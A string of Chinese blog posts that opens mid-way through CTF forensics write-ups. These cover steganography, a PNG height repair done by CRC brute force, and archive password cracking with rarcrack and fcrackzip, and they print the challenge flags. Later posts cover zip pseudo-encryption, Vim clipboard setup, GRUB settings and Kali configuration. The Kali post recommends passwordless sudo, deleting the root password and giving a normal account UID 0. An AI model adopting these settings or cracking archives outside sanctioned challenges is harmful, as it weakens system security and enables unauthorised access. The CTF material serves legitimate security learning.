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 显而易见,是base64编码的照片 使用在线工具🔧就搞定了 扫描结果 KEY{dca57f966e4e4e31fd5b15417da63269} 所以 flag{dca57f966e4e4e31fd5b15417da63269} 大白 dabai.png 照片打不开,直接到010 editor里面分析. 根据png文件头格式进行解析 分析过程 89 50 4E 47 0D 0A 1A 0A 是PNG头部署名域,表示这是一个PNG图片 00 00 00 0D 描述IHDR头部的大小,定义了长度为13个Bytes,所以,这里,你看到是13个字节 49 48 44 52 是Chunk Type Code, 这里Chunk Type Code=IHDR 00 00 02 A7 00 00 01 00 08 06 00 00 00 描述了Chunk Data,它是可变长度数据. 6D 7C 71 35 是对IHDR的CRC校验 紧接着下面的就是pHys数据块,原理也是一样的. 但是这里还是没有文件头的信息,接下来,可以参考下面这张图👇: 也就是可以从IHDR中,来获取头文件信息 这里的IHDR,其实在上面👆分析中就提到了. 前四个字节是宽度,后四个字节是高度,也就是: 00 00 02 A7 | 00 00 01 00 .换言之此图大小为:679 * 256 默认大家有进制转换的基础 由于,暂时不需要其他数据,也就不再往下研究了. 感兴趣可以自行学习. 通过分析过程我们可以知道,目前这个图的大小为:679 * 256 那么很明显,这个高度太低了. 通过Linux打开发现 IHDR:CRC error. 通过010查看发现是高度问题. 那么多少合适呢? 当然是CRC对得上就是正确的~ 那么我们来写个python脚本来求出正确的 1 2 3 4 5 6 7 8 9 10 11 import os import binascii import struct misc = open("dabai.png","rb").read() for i in range(1024): data = misc[12:20] +struct.pack('>i',i)+ misc[24:29] crc32 = binascii.crc32(data) & 0xffffffff if crc32 == 0x6d7c7135: print (i) 通过脚本输出结果,我们可以看到 高度应该为 479 ,换成16进制就是 0x1DF 换言之,就是把 00 00 01 00 修改成 00 00 01 DF 即可. 得到flag{He1lo_d4_ba1} 基础破解 基础破解.rar 由于fcrackzip对此rar无能为力,所以我们采用rarcrack. 在开始破解的时候, 我们需要停止.为什么? 因为有提示,是 四位数字加密 所以我们修改 1.rar.xml 文件里面的内容为如下图所示👇: 然后再重新运行命令.rarcrack 1.rar --threads 12 --type rar 得到密码为 2563 解压打开flag.txt文件得到 这行东西,很显然是base64加密. 由在线工具🔧易得flag flag{70354300a5100ba78068805661b93a5c} 乌镇峰会种图 b56cde4f-be03-4d07-a0ca-6af22284f0aa.jpg 010打开,文件末尾就是flag flag{97314e7864a8f62627b26f3f998c37f1} 文件中的秘密 解法和上题一样 图片中的秘密.jpeg flag{870c5a72806115cb5439345d8b014396} wireshark dianli_jbctf_MISC_T10075_20150707_wireshark.pcap 关键词:登陆 Flag{ffb7567a1d4f4abdffdb54e022f8facd} LSB flag11.png 方法一 使用StegSolve工具🔧 通过下面那个>观察有问题的地方 然后在Data Extract那里,将对应的选择,选择后可以先Preview简单看一下有没有flag,没有就Save Bin,打开看看有什么东西没. 而我们这道题就属于后者, 扫描结果 cumtctf{1sb_i4_s0_Ea4y} flag{1sb_i4_s0_Ea4y} 方法二 使用** cloacked-pixel**脚本(需要用python2运行且有所需的模块) 具体如何使用这里不再展开 rar dianli_jbctf_MISC_T10076_20150707_rar.rar 信息纯4位数字,根据上文写到的方法可以得出 密码为: 8795 flag{1773c5da790bd3caff38e3decd180eb7} zip伪加密 建议参考文章:CTF-MISC-zip压缩包伪加密笔记📒 ee2f7f26-5173-4e7a-8ea4-e4945e6f04ff.zip flag{Adm1N-B2G-kU-SZIP} qr 1abe854d-4770-4214-829b-bf6ff513fa14.png 欢迎参加本次比赛,密码为 Flag{878865ce73370a4ce607d21ca01b5e59} 被嗅探的流量 被嗅探的流量.pcapng 搜索字符串flag. 含有这个的文件 点 查找 找到flag.jpg 追踪TCP流 搜索并找到flag. flag{da73d88936010da1eeeb36e945ec4b97} 镜子里面的世界 steg.png 用上文提到的方法可以得到 st3g0_ saurus_wr3cks flag{st3g0_ saurus_wr3cks} ningen 9e3ec8c2-38c7-41cf-b5d7-abe7872de4c3.jpg 通过上文提到的方法,用binwalk提取出zip,然后用fcrackzip爆破得flag flag{b025fc9ca797a67d2103bfbc407a6d5f} 小明的保险箱 4a81409d-f24b-4915-adc9-304e6faf60f2.jpg 根据上文提到的方法,可得flag (binawlk提取再爆破) flag{75a3d68bf071ee188c418ea6cf0bb043} 爱因斯坦 misc2.jpg 用上面的方法提取出来爆破即可,但值得注意的是爆破时间可能需要较长 通过查看照片文件可以发现this_is_not_password为其密码. 得到flag. flag{dd22a92bf2cceb6c0cd0d6b83ff51606} easycap easycap.pcap 发现数据包里面全是TCP协议的数据包,通过TCP流追踪发现flag FLAG:385b87afc8671dee07550290d16a8071 flag{385b87afc8671dee07550290d16a8071} 隐藏的钥匙 隐藏的钥匙.jpg 用010打开照片,发现base64加密🔐 解密得377cbadda1eca2f2f73d36277781f00a flag{377cbadda1eca2f2f73d36277781f00a} 另外一个世界 monster.jpg 用命令strings 此文件或者用010打开. 每八个一组,转换为ascii,包上flag{},得到flag 01101011 01101111 01100101 01101011 01101010 00110011 01110011 ​koekj3s FLAG 42011487927629132.png 先进行分离处理并观察到Zlib的地址开头为0x29. 接下来我们用010打开它并找到这个地址. 上面👆的划掉.没分析出来 用StegSolve最低位隐写,导出一个zip (看文件头就知道) 解压出来. 用strings命令转成字符串,然后加个管道过滤我们flag的格式hctf{} hctf{dd0gf4c3tok3yb0ard4g41n~~~} flag{dd0gf4c3tok3yb0ard4g41n~~~} 假如给我三天光明 假如给我三天光明.zip 解压,得2个文件 打开pic.jpg 观察照片,发现下方点有规律性 猜测可能是盲文.通过盲文对照表,得到压缩密码. 现行盲文是表音文字,汉语的每个音节由一至三方盲符组成,分别表示声母、韵母和声调。字母(声母与单元音韵母)的符号选择基于汉语拼音所对应的盲文的拉丁字母表。 第一个为k/q,第二为m,第三个为d,第四个为uo(wo),第五个为n,第六个为uo(wo),第七个为ui(wei),第八个为g/j. 密码为 kmdonowg 解压后,发现是wav隐写. 拖到Final Cut Pro中打开,可以看到音频的波形. 看波的宽度分辨长短音,比较细的就是短音,代表”.”,读“滴”;比较粗的就是长音,代表”-“,读“嗒”;中间的间隔就是“ ”,分析波长得到摩斯电码如下: -.-. - ..-. .– .–. . .. —– —.. –… …– ..— -.-.– ..— …– -.. –.. CTFWPEI08732!23DZ flag{wpei08732?23dz} 先睡觉觉了,再熬就要G了… CTF图片隐写题 1 2 3 4 5 6 # 查看图片明文字符串 strings xxx.png # binwalk分析, binwalk xxx.png -f picInfo.txt # foremost 切分图片 foremost xxx.png -o output_xxx 未完待续,有空更新. 开摆 投喂软妹币可以加速⏩更新噢~

2022/4/27
articleCard.readMore

CTF MISC zip压缩包伪加密笔记📒

前言 又又又学习了一次伪加密🔐,我这人记性是真的不好👎,太容易忘记了.所以写 水一篇博客 原理 zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包。 快速操作?👇 把 压缩源文件目录区 的 全局方式位标记 的 01 00 或 09 00 改为 00 00 就可以去除密码 提示 把 压缩源文件目录区 的 全局方式位标记 的 00 00 改为 01 00 或 09 00 就可以添加密码 提示 ZIP文件组成 一个 ZIP 文件由三个部分组成: 压缩源文件数据区 + 压缩源文件目录区 + 压缩源文件目录结束标志 三部分的详细介绍 (反正我不想看) 1、压缩源文件数据区 在这个数据区中每一个压缩的源文件/目录都是一条记录,记录的格式如下: ​ [文件头+ 文件数据 + 数据描述符] ​ a、文件头结构 ​ 组成   长度 ​ 文件头标记 4 bytes (0x04034b50) ​ 解压文件所需 pkware 版本 2 bytes ​ 全局方式位标记 2 bytes   压缩方式 2 bytes   最后修改文件时间 2 bytes    最后修改文件日期 2 bytes    CRC-32校验 4 bytes    压缩后尺寸 4 bytes    未压缩尺寸 4 bytes    文件名长度 2 bytes ​ 扩展记录长度 2 bytes    文件名 (不定长度)    扩展字段 (不定长度) ​ b、文件数据 ​ c、数据描述符    组成   长度   CRC-32校验 4 bytes   压缩后尺寸 4 bytes    未压缩尺寸 4 bytes ​ 这个数据描述符只在全局方式位标记的第3位设为1时才存在(见后详解),紧接在压缩数据的最后一个字节后。这个数据描述符只用在不能对输出的 ZIP 文件进行检索时使用。例如:在一个不能检索的驱动器(如:磁带机上)上的 ZIP 文件中。如果是磁盘上的ZIP文件一般没有这个数据描述符。 2、压缩源文件目录区 在这个数据区中每一条纪录对应在压缩源文件数据区中的一条数据    组成   长度 ​   目录中文件文件头标记 4 bytes (0x02014b50) ​   压缩使用的 pkware 版本 2 bytes ​   解压文件所需 pkware 版本 2 bytes ​   全局方式位标记 2 bytes ​   压缩方式 2 bytes ​   最后修改文件时间 2 bytes ​   最后修改文件日期 2 bytes ​   CRC-32校验 4 bytes ​   压缩后尺寸 4 bytes ​   未压缩尺寸 4 bytes ​   文件名长度 2 bytes ​   扩展字段长度 2 bytes ​   文件注释长度 2 bytes ​   磁盘开始号 2 bytes ​   内部文件属性 2 bytes ​   外部文件属性 4 bytes ​ 局部头部偏移量 4 bytes ​   文件名 (不定长度) ​   扩展字段 (不定长度) ​ 文件注释 (不定长度) 3、压缩源文件目录结束标志 ​    组成   长度 ​ 目录结束标记 4 bytes (0x02014b50) ​ 当前磁盘编号 2 bytes ​ 目录区开始磁盘编号 2 bytes ​   本磁盘上纪录总数 2 bytes ​   目录区中纪录总数 2 bytes ​   目录区尺寸大小 4 bytes ​   目录区对第一张磁盘的偏移量 4 bytes ​   ZIP 文件注释长度 2 bytes ​   ZIP 文件注释 (不定长度) 这里拿一张伪加密🔐压缩包的16进制图吧,这个是我做BUUCTF时遇到的.方便后面说明. 16进制文本 50 4B 03 04 14 00 09 00 08 00 50 A3 A5 4A 21 38 76 65 19 00 00 00 17 00 00 00 08 00 00 00 66 6C 61 67 2E 74 78 74 4B CB 49 4C AF 76 4C C9 35 F4 D3 75 32 72 D7 CD 0E D5 0D 8E F2 0C A8 05 00 50 4B 01 02 1F 00 14 00 09 00 08 00 50 A3 A5 4A 21 38 76 65 19 00 00 00 17 00 00 00 08 00 24 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 66 6C 61 67 2E 74 78 74 0A 00 20 00 00 00 00 00 01 00 18 00 0F F5 04 D5 9A C5 D2 01 46 1F CB 8A 9A C5 D2 01 46 1F CB 8A 9A C5 D2 01 50 4B 05 06 00 00 00 00 01 00 01 00 5A 00 00 00 3F 00 00 00 00 00 压缩源文件数据区: 压缩源文件数据区 50 4B 03 04:这是PK头文件标记(0x04034b50) 14 00:解压文件所需 pkware 版本 09 00:全局方式位标记(图中代表是有加密🔐,如果是 00 00 就是代表无加密🔐) 08 00:压缩方式 50 A3:最后修改文件时间 A5 4A:最后修改文件日期 21 38 76 65:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 08 00:文件名长度 00 00:扩展记录长度 压缩源文件目录区: 压缩源文件目录区 50 4B 01 02:目录中文件PK文件头标记(0x02014b50) 1F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 09 00:全局方式位标记(图中代表是有加密🔐,如果是 00 00 就是代表无加密🔐) 08 00:压缩方式 50 A3:最后修改文件时间 A5 4A:最后修改文件日期 21 38 76 65:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 08 00:文件名长度 24 00:扩展字段长度 00 00:文件注释长度 00 00:磁盘开始号 00 00:内部文件属性 20 00 00 00:外部文件属性 00 00 00 00:局部头部偏移量 压缩源文件目录结束标志: 压缩源文件目录结束标志 50 4B 05 06:目录结束标记 00 00:当前磁盘编号 00 00:目录区开始磁盘编号 01 00:本磁盘上纪录总数 01 00:目录区中纪录总数 5A 00 00 00:目录区尺寸大小 3F 00 00 00:目录区对第一张磁盘的偏移量 00 00:ZIP 文件注释长度 伪加密->无密码 方法一 把 压缩源文件目录区 的 全局方式位标记 的 01 00 或 09 00 改为 00 00 就可以去除密码 提示 把 压缩源文件目录区 的 全局方式位标记 的 00 00 改为 01 00 或 09 00 就可以添加密码 提示 方法二 使用ZipCenOp.jar清除密码 点我下载ZipCenOp.jar 下载完后,将它与压缩包放在同一个文件夹中. 输入一下命令 1 java -jar ZipCenOp.jar r xxx,zip # 这个填你压缩包的名字 就可以完成文件头的修复. 方法三(未确认) 貌似以前做题的时候,用winrar也可以修复.

2022/4/27
articleCard.readMore

解决Kali Linux启动分辨率异常等问题

前言 发现在有些时候启动Kali Linux时,识别不到正确的分辨率,或者开机分辨率异常. 本文就来解决这个问题.(下文提到的方法可也用于自定义分辨率) 查询显示设备 输入命令 1 xrandr 我们可以看到当前分辨率,显示器名称(Virtual-1)以及支持的分辨率. 目前这个是识别正常的状态,如果识别有问题,那么就不会有这些分辨率. 查询分辨率对应的信息 输入命令 1 cvt xxx xxx #这里填你需要的分辨率 我们需要的是这个 "3456x2100_60.00" 622.00 3456 3736 4112 4768 2100 2103 2113 2175 -hsync +vsync 设置分辨率 1 sudo xrandr --newmode "3456x2100_60.00" 622.00 3456 3736 4112 4768 2100 2103 2113 2175 -hsync +vsync && sudo xrandr --addmode Virtual-1 "3456x2100_60.00" && sudo xrandr --output Virtual-1 --mode "3456x2100_60.00" xrandr命令用法如下: xrandr --output eDP-1 --auto --output HDMI-1 --auto --panning [C*E]x[D*F]+[A]+0 --scale [E]x[F] --right-of eDP-1 xrandr官方wiki:https://wiki.archlinux.org/index.php/Xrandr HiDPI官方wiki:https://wiki.archlinux.org/index.php/HiDPI 挖一个坑,我还不知道怎么用命令弄缩放,所以想弄缩放可以去参考上面的wiki.我是直接修改,它下次貌似默认就记住了. 如果需要开机应用的话. 在 /etc/profile 文件末尾添加以下代码: 1 2 3 xrandr --newmode "3456x2100_60.00" 622.00 3456 3736 4112 4768 2100 2103 2113 2175 -hsync +vsync xrandr --addmode Virtual-1 "3456x2100_60.00" xrandr --output Virtual-1 --mode "3456x2100_60.00" reboot重启即可~ 补充 若你与我一样通过Parallels Desktop虚拟机来运行的Kali 建议调整好最佳分辨率后,以设置里的分辨率为准.例如我的: 那么,分别应该这样设置: 在 /etc/profile 文件末尾添加以下代码: 1 2 3 xrandr --newmode "3360x2100_60.00" 605.25 3360 3632 4000 4640 2100 2103 2109 2175 -hsync +vsync xrandr --addmode Virtual-1 "3360x2100_60.00" xrandr --output Virtual-1 --mode "3360x2100_60.00" --rate 120 reboot重启即可~

2022/4/25
articleCard.readMore

解决Vim关于复制的相关问题

前言 问题① mac本机的vim在开启set mouse=a鼠标操作后,直接用鼠标没办法复制 解决① (最简单):将vim换macvim 安装命令: 1 brew install macvim 之后用mvim代替vim 如果想直接用vim调用mvim,可以在~/.zshrc中添加这一条 1 alias vim="mvim" 解决② (简单,但有缺陷) contrl^+拖动鼠标选择,即可直接复制 缺陷:如果开启了set number来显示行号,需要关闭set nonumber,否则会将行号复制进去. 只能复制当前页面的内容,换行没法处理等缺陷. 解决③ 看本文后续内容. 问题② 将远程服务器(VPS)某个文本文件内容或某些文本内容拷贝到本地Mac剪切板. 解决① 在iTerm2中开启Applications in terminal may access clipboard 新建pbcopy.py文件,内容为: 1 2 3 4 5 6 7 8 #! /usr/bin/python import sys import base64 content = sys.stdin.read() encoded_content = base64.b64encode(content.encode()).decode() sys.stdout.write('\033]52;c;' + encoded_content + '\007') 然后给权限chmod +x pbcopy.py 然后软链接一下sudo ln -s /路径/pbcopy.py /usr/bin/pbcopy 用法:通过管道给pbcopy 可以参考文章(采用php实现的)https://www.laruence.com/2020/05/21/5880.html 问题③(复杂Max) 远程服务器(VPS)的vim在开启set mouse=a鼠标操作后,直接用鼠标没办法复制. 远程服务器(VPS)和Mac之间剪贴板互通问题. 解决① 先按照本文后续内容配置. 如果你的Linux是带图形化界面的,那么大概率就配完了(实际,我没测试,因为我除了虚拟机的linux带图形化界面外,服务器(vps)都玩不带图形化界面的命令行),如果不是,那么继续. 下面内容 基于X11 Forwarding + XQuartz 等第三方工具 实现图形化界面显示. 为啥?因为你配完,vim里面进行复制(y)会把vim里面的寄存器reg "" 值给linux系统的剪贴板,而它的内容和Mac的剪贴板内容不互通,故需要通过某种协议(下面用的是X协议)来进行交换. 客户端(Mac端)需要配置: 安装xquartz 1 2 3 brew install xquartz open /Applications/Utilities/XQuartz.app sudo mvim /etc/ssh/ssh_config 在 Host * 下添加 ForwardX11 yes 然后重启ssh服务,但我实在不知道用那个命令能杀死ssh服务,故我直接重启系统. 可选: 点击 XQuartz 右键 自定义 添加一个命令(/Applications/iTerm.app/Contents/MacOS/iTerm2)指向 iTerm2 (未知原因:需打开过xterm才可用.) 如何在扩展坞和应用程序切换器中隐藏XQuartz应用程序图标? 以 root 身份编辑 /Applications/Utilities/XQuartz.app/Contents/Info.plist 中的 Info.plist,并在 中末尾添加以下键/值(转到文件的最底部并找到最后两行之前): 1 2 <key>NSUIElement</key> <string>1</string> 然后在命令中输入下面命令(强制签名) 1 sudo codesign -f -s - --timestamp=none --all-architectures /Applications/Utilities/XQuartz.app/Contents/MacOS/X11 然后打开XQuartz(其实命令行中输xterm然后关掉,一样的效果),发现只能在活动监视器只看到了.(这玩意有点吃内存300多MB) 服务端(远程服务器)需要配置: 注:下面以Arch Linux为例 1 2 3 4 5 6 7 pacman -S xorg-xauth xclip # Debian/Ubuntu可能的安装代码(未验证)为apt install xorg xauth openbox xserver-xorg-legacy touch ~/.Xauthority && chmod 600 ~/.Xauthority cat /etc/ssh/sshd_config | grep X11Forwarding # 查看是否开启 X11 转发,没开的话要打开 sudo vim /etc/ssh/sshd_config X11Forwarding yes # 如果你只想ipv4访问的话,可以设置AddressFamily any -> AddressFamily inet sudo systemctl reload sshd.service sudo systemctl restart sshd.service 连接服务器: ssh -Y user@address 查看当前用户的图形显示服务器(X服务器显示位置)echo $DISPLAY 测试: 1 2 3 echo "Hello, world" | xclip -selection clipboard # 将Hello, world添加到linux系统剪贴板 # 这个👇是备选方法,因为XQuartz能同步剪贴板,所有下面这个操作可以略过. xclip -selection clipboard -o | pbcopy # 打印剪贴板并通过管道传递给pbcopy,这样Mac剪贴板就有linux剪贴板中的内容了,关于pbcopy,请看问题②中解决①中的处理. 参考文章:ZSH, tmux, Emacs 以及 SSH: 一个关于粘帖复制的故事 ​|下面是旧的内容,可略过| 解决通过iterm2进行ssh连接远程vps中使用vim复制不能传递到Mac本机剪贴板的问题. 记录一下烦人的VIM复制问题.本人的vim配置是有set mouse=a 方便鼠标操作的.也有set number来显示行号.烦人的是便捷复制让这2个不可兼得. 一直困扰我到今天,尝试了办法来解决,终于勉强能接受了… 在只有set mouse=a到情况下,在 iTerm 下直接按住 option 选择文本,再 command + C 复制就行了 但是一旦有set number来显示行号的,由于 iTerm 并不知道哪些是 vim 的文本内容,哪些是附加信息,多行选择时会把行号选进来.这就很烦. 在只有set number到情况下,虽然可以直接复制,但是没了鼠标快速操作和滚动.(个人主观认为:)挺麻烦而且慢的 本人vim小白,操作vim键位不是很熟悉.知道通过键位输入效率高,大佬们勿怪. 关于 寄存器 哪些知识或者其他与操作无光的内容,参考此知乎链接🔗 检查vim 本文直接说说我的操作吧. 首先再终端中输入这行命令 1 vim --version | grep clipboard 分为二种情况. 回显内容有 -clipboard 例如: 很遗憾,你的vim也许出了些问题 或者不完整 ,我们需要重装来修复它. 根据系统类型选择,合适的命令进行修复. Linux系统 Debian / Ubuntu 1 sudo apt install vim-gtk 操作例图: Arch Linux / Manjaro 1 pacman -S gvim MacOS系统 1 brew install vim 操作例图: 回显内容有 +clipboard 恭喜你,你的vim没有问题! 开始设置vim 终端中输入. 1 vim ~/.vimrc 回车,在末尾添加这一行(用于同步剪贴板寄存器) 1 set clipboard^=unnamed,unnamedplus 浅学复制相关姿势 现在你的y,p已经能和 ctrl-c和ctrl-v 一个效果,并且能互相混用。 但问题是不能用鼠标选中否则会进入 SELECT选择模式 ,这个模式下输入除了按ESC键以外几乎都会覆盖掉你选中的内容 实测,输入y,虽然覆盖了,但也复制了.也可以再粘贴回去,不过还是感觉麻烦了 :) 那么,我们改怎么操作呢?个人认为正确做法应该是学习.👇 学习vim的一些操作,这里只说一下我认为是必要的内容. 首先,推荐一个类似于游戏学习vim的网站👉Learning VIM while playing a game 接下来讲一下,可能频率使用高的基本操作. 普通模式(NORMAL)下, w 跳到下一个单词 b 跳到上一个单词 它们与shift结合,可以加快速度. 视图模式(VISUAL)下 以你光标位置开始(可以在按V切换到视图模式之前,点击你想要选中文本到开头). w 选中到下一个单词 b 选中到上一个单词 shift功能在这里也一样. 然后就可以用 y 和 ctrl-c(Mac上是command+c)开始愉快的复制啦~ 受限于篇幅,更多内容请自行学习.

2022/4/22
articleCard.readMore

修改Kali Linux引导模式的默认系统和启动延迟

前言 启动延迟5s太长了,浪费时间和生命,所以对此修改,对于装有多系统的人而言,本文也提供了引导默认系统的修改. 修改启动文件 进入Kali系统打开终端,输入以下代码; 1 vim /etc/default/grub 设置默认启动系统 修改配置文件 找到”GRUB_DEFAULT=0“ GRUB_DEFAULT表示默认的启动序号,默认GRUB_DEFAULT是0,表示默认启动Kali系统(因为kali排在系统选择菜单最前面) 启动系统排序是从0开始的,kail序号为1,如果是Kali Linux&Windows双系统,Windows系统一般排在第三个,所以序号为2. 1 GRUB_DEFAULT=2 #例如设置默认启动Windows系统 设置默认启动延迟时间 修改配置文件 找到”GRUB_TIMEOUT=5“ GRUB_TIMEOUT表示默认启动延迟,值的单位为秒。默认为延时5秒。可根据个人喜好更改。 1 GRUB_TIMEOUT=2 例如我的修改为2秒. (默认大家都会vim的使用.)不会?👉 自己去搜索学习. 生效 输入命令使其生效. 1 update-grub 再输入reboot重启就可以看到效果了~

2022/4/21
articleCard.readMore

解决新版Kali默认普通用户而导致的权限不足等问题.

前言 本文所使用的环境信息如下: Parallels Desktop Pro Edition 17.1.2 (51548) MacBook Pro 16-inch Apple M1 Max + macOS Monterey 12.3.1 系统 Kali Linux 2022.1 ARM 镜像 以上配置仅供参考,环境信息有稍许差异操作可能有些许不同. Kali安装在虚拟机环境中. 通过grep VERSION /etc/os-release命令查看Linux的发行版名称和版本号. (本人Kali Linux目前为最新版) 本人在使用一段kali后,发现经常需要切换root用户,然后输入密码,特别麻烦. 目前.当你安装 Kali Linux 时,你会被强制要求创建一个非 root 用户 admin 特权.如果需要 root 访问权限的工具和命令将使用 sudo. 个人认为 新版kali linux系统有些智障的奇思妙想 例如:使用root登陆系统可能会因为操作失误造成系统Boom!禁止了使用root账户进行系统登陆,造成的影响就是渗透测试过程中需要多输入几个命令(sudo su),修改文件时没权限,安装东西时没权限等等,挺烦的. 为什么这么说呢? ①用kali linux的那个不是高手?会操作失误boom嘛? ②root用户权限太大,用户不会自己新建一个低权限用户? ③每次都要sudo su命令输入增加了输入时间,浪费生命. ④高权限root账户操作失误导致系统出问题不会恢复快照? ⑤不是最高权限的机器拿来作甚? 如何解决呢上面👆提到的问题呢? 请看下面👇解决办法: 在 Kali Linux 中恢复旧的根模型 在终端中输入 sudo dpkg-reconfigure kali-grant-root 回车后,输入密码. 我们这里选择 启用无密码的特权升级 并按Tap键切换到确定再回车. 翻译: 当你启用无密码特权升级时,”sudo “组的所有成员也被添加到 “kali-trusted “组,该组控制无密码特权升级。当你禁用它时,kali-trusted组被清空。 sudo组的成员: lanyun kali-trusted组的成员。 根权限升级的期望策略 ​启用无密码的特权升级 ​禁用无密码的特权升级 ​不改变当前配置 大功告成~ 例如: 使用sudo命令无需输入密码了 目前,su切换root账号仍然需要密码. 不过你可以通过passwd root来设置一些简单的密码. 你可以通过命令passwd -d root来删除root账户密码,从而输入su切换为root账户时,无需输入密码. 配合这这个 可以实现打开即是root用户. 修改修改用户账号权限: 1 sudo vim /etc/passwd 可以看到root用户ID是0 我们需要找到自己的用户名位置并且修改ID位0.(默认值是1000:1000) 保存,重启reboot. 然后开机,输入命令id就可以看到当前用户组 当然这样修改后,我遇到了些bug,比如ibus中文输入法无法使用(Please run ibus-daemon with login user! Do not run ibus-daemon with sudo or su.) 不过Fcitx输入法就可以啦~ ,每次启动桌面都会有这么一句话. 好了,以上就是解决默认普通用户权限问题了.

2022/4/21
articleCard.readMore

浅记Hexo博客的搭建,优化等

